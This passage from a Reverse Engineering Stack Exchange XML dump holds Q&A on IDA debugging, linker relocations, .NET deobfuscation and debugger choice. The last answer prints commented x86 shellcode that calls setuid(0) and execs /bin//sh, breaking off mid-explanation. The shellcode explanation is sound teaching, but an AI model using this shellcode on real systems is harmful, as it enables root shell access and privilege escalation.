the code you can see in the background. It's an endless loop to simulate a running process that you want to debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the connecting machine (Windows in my case):&lt;br&gt;&#xA;In debugger -&gt; process options you need to configure everything as you would normally do to a regular remote debugging. You said you already have this step completed so that's ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UNqRV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UNqRV.png&quot; alt=&quot;debugger-&amp;gt;process options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, press debugger -&gt; attach  to process and you'll be presented with a list of processes (for me it showed all of the running process, you might see only the processes that match the database, atleast that what I would expect). Select the process you want to debug:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mNDjG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mNDjG.png&quot; alt=&quot;processes list&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a couple of single steps, I'm back to main and can debug the process:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zanAE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zanAE.png&quot; alt=&quot;ida debug view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user22970" LastActivityDate="2018-11-27T23:01:55.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19993" PostTypeId="1" CreationDate="2018-11-28T01:43:50.210" Score="1" ViewCount="584" Body="&lt;p&gt;I just started learning reverse engineering. The near call instruction (e8) is very confusing to me. It took me a while to figure out how address calculation works for local functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm looking at the output of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// gcc -c test.c &#xA;void test() {&#xA;     puts(&quot;Hello from puts&quot;);&#xA;     printf(&quot;Hello from printf&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it's &lt;code&gt;e8 00 00 00 00&lt;/code&gt; for both calls. Somehow my disassembler can figure out which call's which.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's objdump output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    0000000000000000 &amp;lt;_test&amp;gt;:&#xA;   0:   55                      push   rbp&#xA;   1:   48 89 e5                mov    rbp,rsp&#xA;   4:   48 83 ec 10             sub    rsp,0x10&#xA;   8:   48 8d 3d 1f 00 00 00    lea    rdi,[rip+0x1f]        # 2e &amp;lt;_test+0x2e&amp;gt;&#xA;   f:   e8 00 00 00 00          call   14 &amp;lt;_test+0x14&amp;gt;&#xA;  14:   48 8d 3d 23 00 00 00    lea    rdi,[rip+0x23]        # 3e &amp;lt;_test+0x3e&amp;gt;&#xA;  1b:   89 45 fc                mov    DWORD PTR [rbp-0x4],eax&#xA;  1e:   b0 00                   mov    al,0x0&#xA;  20:   e8 00 00 00 00          call   25 &amp;lt;_test+0x25&amp;gt;&#xA;  25:   89 45 f8                mov    DWORD PTR [rbp-0x8],eax&#xA;  28:   48 83 c4 10             add    rsp,0x10&#xA;  2c:   5d                      pop    rbp&#xA;  2d:   c3                      ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopper's output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_test:&#xA;0000000000000000   push  rbp&#xA;0000000000000001   mov   rbp, rsp&#xA;0000000000000004   sub   rsp, 0x10&#xA;0000000000000008   lea   rdi, qword [0x2e]      ; argument &quot;s&quot; for _puts&#xA;000000000000000f   call  _puts&#xA;0000000000000014   lea   rdi, qword [0x3e]      ; argument &quot;format&quot; for _printf&#xA;000000000000001b   mov   dword [rbp+var_4], eax&#xA;000000000000001e   mov   al, 0x0&#xA;0000000000000020   call  _printf&#xA;0000000000000025   mov   dword [rbp+var_8], eax&#xA;0000000000000028   add   rsp, 0x10&#xA;000000000000002c   pop   rbp&#xA;000000000000002d   ret                          ; endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the answer to my initial question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you're disassembling .o object files that haven't been linked yet,&#xA;  the call address will just be a placeholder to be filled in by the&#xA;  linker.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So how does the linker know which function is getting called?&lt;/p&gt;&#xA;" OwnerUserId="26540" LastEditorUserId="53" LastEditDate="2018-11-28T15:53:26.970" LastActivityDate="2018-11-28T15:53:26.970" Title="Why do I get e8 00 00 00 00 for all libc function calls?" Tags="|x86-64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19996" PostTypeId="1" CreationDate="2018-11-28T07:17:15.753" Score="2" ViewCount="1539" Body="&lt;p&gt;I have a file called bios.bin which is the firmware of an ATM machine and I have found out it is x86 code 16-bit. But I don't understand how I'm supposed to set the base address in IDA Pro for an x86 processor.&lt;/p&gt;&#xA;" OwnerUserId="26542" LastEditorUserId="245" LastEditDate="2018-11-28T09:26:56.397" LastActivityDate="2018-11-28T15:17:22.167" Title="How to load firmware x86 BIOS into IDA Pro 7.0" Tags="|ida|firmware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19998" PostTypeId="2" ParentId="19993" CreationDate="2018-11-28T15:00:16.180" Score="2" Body="&lt;p&gt;If you use &lt;code&gt;-dr&lt;/code&gt; instead of plain &lt;code&gt;-d&lt;/code&gt;, &lt;code&gt;objdump&lt;/code&gt; will list &lt;em&gt;relocation info&lt;/em&gt; next to the instructions. E.g. here's a random sample I just compiled&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 &amp;lt;main&amp;gt;:&#xA;   0:   55                      push   %ebp&#xA;   1:   89 e5                   mov    %esp,%ebp&#xA;   3:   83 e4 f0                and    $0xfffffff0,%esp&#xA;   6:   83 ec 20                sub    $0x20,%esp&#xA;   9:   c7 44 24 18 a9 03 00    movl   $0x3a9,0x18(%esp)&#xA;  10:   00&#xA;  11:   c7 44 24 04 00 00 00    movl   $0x0,0x4(%esp)&#xA;  18:   00&#xA;                        15: R_386_32    m1&#xA;  19:   c7 04 24 30 00 00 00    movl   $0x30,(%esp)&#xA;                        1c: R_386_32    .rodata&#xA;  20:   e8 fc ff ff ff          call   21 &amp;lt;main+0x21&amp;gt;&#xA;                        21: R_386_PC32  wprintf&#xA;  25:   89 44 24 1c             mov    %eax,0x1c(%esp)&#xA;  29:   b8 00 00 00 00          mov    $0x0,%eax&#xA;  2e:   c9                      leave&#xA;  2f:   c3                      ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that call at 20 has a relocation info to &lt;code&gt;wprintf&lt;/code&gt; (at 21, right at the bytes that correspond to the offset to the destination of the call). linker (&lt;code&gt;ld&lt;/code&gt;) uses this information at link time to patch the instructions with the final resolved address of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems Hopper used relocation info symbol's name for more user-friendly disassembly.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-11-28T15:00:16.180" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19999" PostTypeId="2" ParentId="19996" CreationDate="2018-11-28T15:07:59.457" Score="3" Body="&lt;p&gt;You may use BOCHS x86 to emulate the 16 bit image and debug it using IDA pro. &lt;a href=&quot;https://i.stack.imgur.com/FNK5w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FNK5w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of bootloader of PETYA ransomware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yzNaW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yzNaW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastEditorUserId="23113" LastEditDate="2018-11-28T15:17:22.167" LastActivityDate="2018-11-28T15:17:22.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20002" PostTypeId="1" CreationDate="2018-11-29T02:20:00.053" Score="1" ViewCount="260" Body="&lt;p&gt;I've recently gotten into Android reverse engineering, and I've been messing around with some apps lately for education/research purposes to see how some things are done with private (mobile) APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the apps I have been testing is giving me some weird behavior. After decompiling the APK, I've noticed there is a class which is completely missing, although I am able to see the class when tracing with Frida.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developer must have 'hidden' this class somehow, right? Is this something to do with ProGuard/DexGuard? Or is it possible the developer has simply included an entire Java class in an encrypted string hidden in another Java class? I'm stumped trying to figure out how this kind of thing would be possible, but I am looking to learn.&lt;/p&gt;&#xA;" OwnerUserId="26551" LastActivityDate="2018-11-29T02:20:00.053" Title="Common practices for 'hiding' a class within an Android application?" Tags="|disassembly|android|java|apk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20004" PostTypeId="1" AcceptedAnswerId="20011" CreationDate="2018-11-29T16:46:04.967" Score="21" ViewCount="24368" Body="&lt;p&gt;&lt;code&gt;OllyDbg&lt;/code&gt; had been nice in the past, but it stopped development a decade ago, &lt;code&gt;x32dbg/x64dbg&lt;/code&gt; era came.&lt;br /&gt;&#xA;However, some people still use &lt;code&gt;OllyDbg&lt;/code&gt;. Are there any reasons to use the old &lt;code&gt;OllyDbg&lt;/code&gt; still? Doesn't &lt;code&gt;x32dbg/64dbg&lt;/code&gt; covers all needed things?&lt;/p&gt;&#xA;" OwnerUserId="10008" LastEditorUserId="10008" LastEditDate="2021-07-25T07:58:24.617" LastActivityDate="2021-07-25T07:58:24.617" Title="OllyDbg vs x64dbg - Does OllyDbg have any particular advantage over x64dbg?" Tags="|ollydbg|debuggers|x64dbg|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20005" PostTypeId="1" CreationDate="2018-11-29T18:00:35.650" Score="0" ViewCount="1745" Body="&lt;p&gt;How to overcome the error message while trying to open the &lt;code&gt;exe&lt;/code&gt; in ILSpy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System.BadImageFormatException: Format of the executable (.exe) or library (.dll) is invalid.&#xA;   at Mono.Cecil.PE.ImageReader.ReadOptionalHeaders(UInt16&amp;amp; subsystem, UInt16&amp;amp; dll_characteristics)&#xA;   at Mono.Cecil.PE.ImageReader.ReadImage()&#xA;   at Mono.Cecil.PE.ImageReader.ReadImage(Disposable`1 stream, String file_name)&#xA;   at Mono.Cecil.ModuleDefinition.ReadModule(String fileName, ReaderParameters parameters)&#xA;   at ICSharpCode.ILSpy.LoadedAssembly.LoadAssembly(Object state)&#xA;   at System.Threading.Tasks.Task`1.InnerInvoke()&#xA;   at System.Threading.Tasks.Task.Execute()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the executable packed or what to do?&lt;/p&gt;&#xA;" OwnerUserId="10008" LastEditorUserId="13506" LastEditDate="2019-08-05T12:43:33.527" LastActivityDate="2019-08-05T12:43:33.527" Title="(ILSpy) System.BadImageFormatException: Format of the executable (.exe) or library (.dll) is invalid" Tags="|exe|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20006" PostTypeId="2" ParentId="20004" CreationDate="2018-11-29T18:14:30.370" Score="4" Body="&lt;p&gt;Outside of maybe custom plug-ins or perhaps buried features and usability differences, there's really no incentive to use &lt;code&gt;OllyDbg&lt;/code&gt; over &lt;code&gt;x32dbg/x64dbg&lt;/code&gt;. Since &lt;code&gt;OllyDbg&lt;/code&gt; was the debugger of choice for so many years, it will take awhile to run its course.&lt;/p&gt;&#xA;&lt;p&gt;That said, it's still extremely capable for a 32-bit debugger with a rich support/plug-in ecosystem (even if a bit dated now), so there's absolutely nothing wrong with using it if you prefer it over any other debugger for 32-bit applications.&lt;/p&gt;&#xA;&lt;p&gt;Personally, I migrated to &lt;code&gt;x32dbg/x64dbg&lt;/code&gt; quite awhile back and haven't missed &lt;code&gt;OllyDbg&lt;/code&gt; ever since. In fact, the switch is so easy that one could presumably get up to snuff with using debuggers via &lt;code&gt;OllyDbg&lt;/code&gt;, then bop right over to &lt;code&gt;x32dbg/x64dbg&lt;/code&gt; with very little differences to compensate for.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2020-12-01T15:42:01.800" LastActivityDate="2020-12-01T15:42:01.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20007" PostTypeId="1" CreationDate="2018-11-29T18:16:16.223" Score="1" ViewCount="1982" Body="&lt;p&gt;Generally, I use &lt;code&gt;de4dot&lt;/code&gt; to detect obfuscator or deobfuscate. But some files are protected as they show:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Detected unknown obfuscator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are ways to detect the obfuscator of .exe?&lt;/p&gt;&#xA;" OwnerUserId="10008" LastActivityDate="2018-11-29T18:16:16.223" Title="How to detect obfuscator (de4dot shows: Detected unknown obfuscator)" Tags="|deobfuscation|de4dot|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20008" PostTypeId="1" CreationDate="2018-11-29T18:27:24.783" Score="1" ViewCount="7178" Body="&lt;p&gt;Probably, many of you have ever seen the message from &lt;code&gt;de4dot&lt;/code&gt; while trying to deobfuscate app/dll:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WARNING: The file isn't a .NET PE file:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What steps to take in such cases to proceed? How to make the &lt;code&gt;.exe&lt;/code&gt; file to be detected as valid &lt;code&gt;.NET PE&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="10008" LastActivityDate="2018-12-31T01:43:45.900" Title="(de4dot) The file isn't a .NET PE file" Tags="|deobfuscation|de4dot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20009" PostTypeId="1" CreationDate="2018-11-29T18:50:28.923" Score="1" ViewCount="939" Body="&lt;p&gt;IDA shows multiple goto statements in the decompiled pseudocode. I've read this manual page: &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/config.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/decompiler/manual/config.shtml&lt;/a&gt; and tried to disable/enable these flags &lt;code&gt;MAX_NCOMMAS&lt;/code&gt;, &lt;code&gt;HO_FAST_STRUCTURAL&lt;/code&gt;, &lt;code&gt;HO_UNMERGE_TAILS&lt;/code&gt; in &lt;code&gt;cfg/hexrays.cfg&lt;/code&gt; file. But it doesn't change anything in the pseudocode.&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2021-06-01T02:35:11.933" Title="How to remove all goto statements in pseudocode?" Tags="|ida|hexrays|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20010" PostTypeId="2" ParentId="20008" CreationDate="2018-11-29T19:14:32.770" Score="3" Body="&lt;p&gt;&lt;strong&gt;As a programmer myself, I have to again and again tell and shout, that if the purpose is cracking/stealing, then you should not do that for the sake of honesty. If the purpose is good, then I'll share my solutions.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, the language should be determined, if it's either a real &lt;code&gt;.NET&lt;/code&gt; file or not.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the &quot;PEiD&quot; tool (or if you do not have a good custom signature database for &quot;PEiD&quot;, then use &quot;TridNet&quot;) to analyze the file and determine the language (that will be approximation). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open it with CFF Explorer. If you don't see the .NET Directory, then this is a native dll, not .NET. Check what language is that. ( sometimes, use &quot;Dependances&quot; to view, if you reference MSCEERE.DLL, it contains managed code, if you reference MSVCR100.DLL, it contains Native Code.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, there seems to be 2 possible scenarios:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Scenario 1 - The original file is not &lt;code&gt;.NET&lt;/code&gt; program:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;de4dot&lt;/code&gt; is made for &lt;code&gt;.NET&lt;/code&gt; files. So, your executable might be a shell packed file, or &lt;code&gt;Win32&lt;/code&gt; exe, or program is not written by &lt;code&gt;.NET&lt;/code&gt; languages. For example, Visual C++ (i.e. written in Delphi or etc) has nothing to do with the &lt;code&gt;.NET&lt;/code&gt; Framework, so you can discard the &lt;code&gt;.NET decompiler&lt;/code&gt; (Reflector, ILSpy, etc) to get some code. In that case, you will have to go for the most complicated route and get back to reversing (with IDA, OllyDbg or any other similar and see what you can get in ASM, + HexRays Decompiler ).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Scenario 2 - The original file is &lt;code&gt;.NET&lt;/code&gt; program, but hardened:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;At first, you might try to unpack (if it's packed with i.e. UPX or etc..), like with &lt;code&gt;Universal Extractor&lt;/code&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You might try to find the obfuscator name using the &quot;DNiD&quot; tool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;.exe file may be a .net assembly and only after unpacking it becomes readable. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Dump that exe from runtime using jitDumper3/MegaDumper ( the output will be .NET insted of c++) , And then use your dumped file with de4dot    (or Fix the dumped exe which has invalid metadatas! You might try &quot;universal fixer&quot; for that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10008" LastEditorUserId="10008" LastEditDate="2018-11-30T18:37:23.107" LastActivityDate="2018-11-30T18:37:23.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20011" PostTypeId="2" ParentId="20004" CreationDate="2018-11-29T20:48:42.407" Score="21" Body="&lt;p&gt;&lt;strong&gt;Debugging software with a combination of &lt;a href=&quot;https://stackoverflow.com/questions/3368802/what-is-the-difference-in-managed-and-unmanaged-code-memory-and-size&quot;&gt;managed and unmanaged code&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ollydbg debugs and runs managed code very well (of course in this case it only runs as a native debugger and not like DnSpy which shows the .Net functions and code perfectly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are times when, if the malware makes a lot of calls to unmanaged code (native code DLLs) it is far more convenient to use a debugger like OLLY to track down the transition to the native DLLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not possible in x32dbg/x64dbg at all and it crashes when dealing with managed code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Compatibility with 32-bit systems:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ScyllaHide for x32dbg is not very good and fails on Windows 7 and Windows 10 (32-bit). (It absolutely does not work on Windows XP SP3 and keeps giving us the UNKNOWN SYSCALL error - So I am not even bothering to mention Win XP in this context). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that there is an open issue on GitHub regarding this (for 32-bit Windows 7 and Windows 10), but the only answer there seems to advise that we should migrate to 64-bit Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is true, there are many times where we need to work on 32-bit systems for a variety of reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without a good system in place to hide the debugger from the anti-debugg calls of most malware, the debugger is basically of very little use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scripting Engines:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugins for scripting on x32dbg/x64dbg are very slow when compared to the Olly Script engine. So is the python scripting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Patching Issues:&lt;/strong&gt;&#xA;In my experience, the patching using x32dbg/x64dbg is very buggy when dealing with some executable and I find that I need to revert back to Olly to ensure that the executable gets reliably patched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue with Updates&lt;/strong&gt;:&#xA;Every update of the x32dbg/x64dbg debuggers brings its own bugs with it and in a way, &lt;strong&gt;this reminds one of Windows 10 with its constant updates&lt;/strong&gt; ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When debugging a target, we should really not need to keep thinking constantly as to whether it was a fault in the debugger or the target program that contributed to the crash!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an nutshell, the main problem seems to be that too many programmers have been and are (still) working on x32dbg/x64dbg each in their own programming styles and there seems to a lack of &lt;strong&gt;direction&lt;/strong&gt; in the overall structure of the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was not the case for Olly where a single programmer had created it and therefore has a clean crisp structure that is very difficult to define or described in simple terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not to say that x32dbg/x64dbg is bad. Just saying that there is a lot more room for improvement to make it run as reliably as Olly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are just a few of the issues that I could remember the top of my head that constantly caused me to dust my old Olly and re-use it again and again.&lt;/p&gt;&#xA;" OwnerUserId="26562" LastEditorUserId="10008" LastEditDate="2018-11-29T22:15:52.247" LastActivityDate="2018-11-29T22:15:52.247" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20013" PostTypeId="2" ParentId="19179" CreationDate="2018-11-30T04:28:39.563" Score="5" Body="&lt;p&gt;If IDA Freeware 5.0 suits your needs, the ScummVM crew &lt;a href=&quot;https://www.scummvm.org/news/20180331/&quot; rel=&quot;noreferrer&quot;&gt;got permission from Hex-Rays&lt;/a&gt; to host a copy in perpetuity to ensure that a version supporting older executable formats will always be available for people wanting to try their hand at adding a new engine to ScummVM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to that news post I linked, the download link is also on their &lt;a href=&quot;https://wiki.scummvm.org/index.php/HOWTO-Reverse_Engineering&quot; rel=&quot;noreferrer&quot;&gt;HOWTO-Reverse Engineering&lt;/a&gt; wiki page.&lt;/p&gt;&#xA;" OwnerUserId="4161" LastActivityDate="2018-11-30T04:28:39.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20017" PostTypeId="1" CreationDate="2018-11-30T19:10:00.123" Score="1" ViewCount="3455" Body="&lt;p&gt;I have a 32-bit MIPS binary and I'm trying to execute it on Ubuntu 64-bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file command for the binary shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bin: ELF 32-bit MSB  executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use qemu-mips to execute it, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/lib/ld-musl-mips-sf.so.1: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I execute it? I'd like to remote debug it using IDA Pro.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2018-11-30T19:10:00.123" Title="Executing MIPS binaries on Ubuntu Linux" Tags="|linux|mips|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="20019" PostTypeId="1" AcceptedAnswerId="20023" CreationDate="2018-12-01T02:14:44.783" Score="0" ViewCount="537" Body="&lt;p&gt;I'm learning how to write shellcode by using Linux system call &quot;execve&quot; to spawn a shell with root access privilege.&#xA;Here i found a shellcode online:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-251.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-251.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arcoding to Assembly Linux Tutorials,the arguments for syscall are placed on registers. But why in this shellcode,the arguments are not only placed on the register,but also pushed on the stack ? Quite confusing here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone give me a brief explaination about this problem ?Much appreciate!&lt;/p&gt;&#xA;" OwnerUserId="24677" LastActivityDate="2018-12-01T14:39:22.920" Title="Linux Assembly Syscall" Tags="|assembly|linux|shellcode|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20020" PostTypeId="2" ParentId="15725" CreationDate="2018-12-01T06:09:39.617" Score="0" Body="&lt;p&gt;a good, &quot;semiofficial&quot; approach can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forums.swift.org/t/best-way-to-call-a-swift-function-from-c/9829/3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.swift.org/t/best-way-to-call-a-swift-function-from-c/9829/3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Quinn is by far the best apple programmer ever existed) :)&lt;/p&gt;&#xA;" OwnerUserId="26574" LastActivityDate="2018-12-01T06:09:39.617" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20021" PostTypeId="1" AcceptedAnswerId="20026" CreationDate="2018-12-01T08:59:09.797" Score="1" ViewCount="764" Body="&lt;p&gt;I am trying to reverse engineer something which appears to purposely create exceptions as part of its logic. In the image below, there are multiple DIV EAX commands that generate division by 0 exceptions because the value of EAX is set to 0. I told the debugger to send them back to the application. Since the application has some anti-reverse-engineering functionality, I am guessing that the command itself is for obfuscation while the real logic sits in the exception handler, which retries the command at the same address multiple times, and changes the values in other registers. However, the run trace in OllyDbg does not show the commands from this exception handler, and using 'Step Into' also does not work. How can I enable tracing and/or stepping through code in the exception handler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wBZVc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wBZVc.png&quot; alt=&quot;Run trace&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26575" LastEditorUserId="53" LastEditDate="2018-12-01T10:36:09.953" LastActivityDate="2018-12-01T15:15:19.037" Title="What is happening with these exceptions in OllyDbg?" Tags="|ollydbg|anti-debugging|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20023" PostTypeId="2" ParentId="20019" CreationDate="2018-12-01T14:39:22.920" Score="0" Body="&lt;p&gt;It only uses the stack to pass the correct values to registers. If you analyse this shell code closely you will identify that all the stack operations are in the end results in some value being put in a register that it is expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at this part that calls setuid(0):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\x6a\x17&quot;          // push $0x17&#xA;&quot;\x58&quot;              // pop  %eax&#xA;&quot;\x31\xdb&quot;          // xor  %ebx, %ebx&#xA;&quot;\xcd\x80&quot;          // int  $0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first operations puts &lt;code&gt;$0x17&lt;/code&gt; into &lt;code&gt;eax&lt;/code&gt; which is exactly the value that's is needed for &lt;code&gt;setuid&lt;/code&gt;. Clearing &lt;code&gt;ebx&lt;/code&gt; for the value being passed to &lt;code&gt;setuid&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same way we can check &lt;code&gt;execv&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\x31\xd2&quot;              // xor  %edx, %edx&#xA;&quot;\x6a\x0b&quot;              // push $0xb&#xA;&quot;\x58&quot;                  // pop  %eax&#xA;&quot;\x52&quot;                  // push %edx&#xA;&quot;\x68\x2f\x2f\x73\x68&quot;  // push $0x68732f2f&#xA;&quot;\x68\x2f\x62\x69\x6e&quot;  // push $0x6e69622f&#xA;&quot;\x89\xe3&quot;              // mov  %esp, %ebx&#xA;&quot;\x52&quot;                  // push %edx&#xA;&quot;\x53&quot;                  // push %ebx&#xA;&quot;\x89\xe1&quot;              // mov  %esp, %ecx&#xA;&quot;\xcd\x80&quot;;             // int  $0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Step by step:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\x31\xd2&quot;              // xor  %edx, %edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;clearing 